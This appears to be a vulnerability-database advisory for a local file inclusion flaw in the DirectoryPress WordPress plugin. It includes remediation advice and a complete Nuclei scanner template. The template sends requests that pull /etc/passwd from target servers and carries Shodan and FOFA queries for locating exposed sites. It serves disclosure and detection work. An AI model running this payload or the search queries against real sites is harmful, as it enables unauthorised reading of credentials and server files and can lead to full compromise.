CVE-2026-62032: DirectoryPress <= 3.6.27 - Unauthenticated Local File Inclusion

2026-11-29 PoC Public

Description

The DirectoryPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.6.27. The directorypress_listings_handler class merges user-supplied GET parameters into shortcode attributes when include_get_params is enabled (default). The template parameter is passed unsanitized through directorypress_display_template() into directorypress_has_template(), which checks is_file() on the raw user input and includes it directly via PHP include(). This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. Exploitation requires a page with a DirectoryPress shortcode to exist.

Details

CVE
CVE-2026-62032 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-62032

info:
  name: DirectoryPress <= 3.6.27 - Unauthenticated Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
    The DirectoryPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.6.27. The directorypress_listings_handler class merges user-supplied GET parameters into shortcode attributes when include_get_params is enabled (default). The template parameter is passed unsanitized through directorypress_display_template() into directorypress_has_template(), which checks is_file() on the raw user input and includes it directly via PHP include(). This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. Exploitation requires a page with a DirectoryPress shortcode to exist.
  remediation: |
    No official patch is available as of the disclosure date. Deactivate and remove the DirectoryPress plugin until a fixed version is released. Alternatively, use a WAF rule to block the template GET parameter on pages containing DirectoryPress shortcodes.
  impact: |
    An unauthenticated attacker can read sensitive server files such as wp-config.php (containing database credentials and authentication keys) or /etc/passwd. When combined with file upload functionality or log poisoning, this can escalate to full remote code execution and complete server compromise.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62032
    - https://patchstack.com/database/wordpress/plugin/directorypress/vulnerability/wordpress-directorypress-plugin-3-6-27-local-file-inclusion-vulnerability
    - https://wordpress.org/plugins/directorypress/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-62032
    epss-score: 0.02249
    epss-percentile: 0.83618
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 10
    vendor: designinvento
    product: directorypress
    framework: wordpress
    shodan-query: http.html:"directorypress"
    fofa-query: body="directorypress"
  tags: cve,cve2026,directorypress,wordpress,wp-plugin,wp,lfi,vkev

http:
  - raw:
      - |
        GET /?page_id={{page_id}}&template=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    payloads:
      page_id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "contains(body, 'directorypress')"
          - "status_code == 200"
        condition: and
# digest: 490a004630440220628a857133b767db860d2b557f82d657099a2544269911ee70974a75f9becc97022027f125cc0053e67829cc84dc028a1911dd8ff03e782e102da99b590788a216d7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life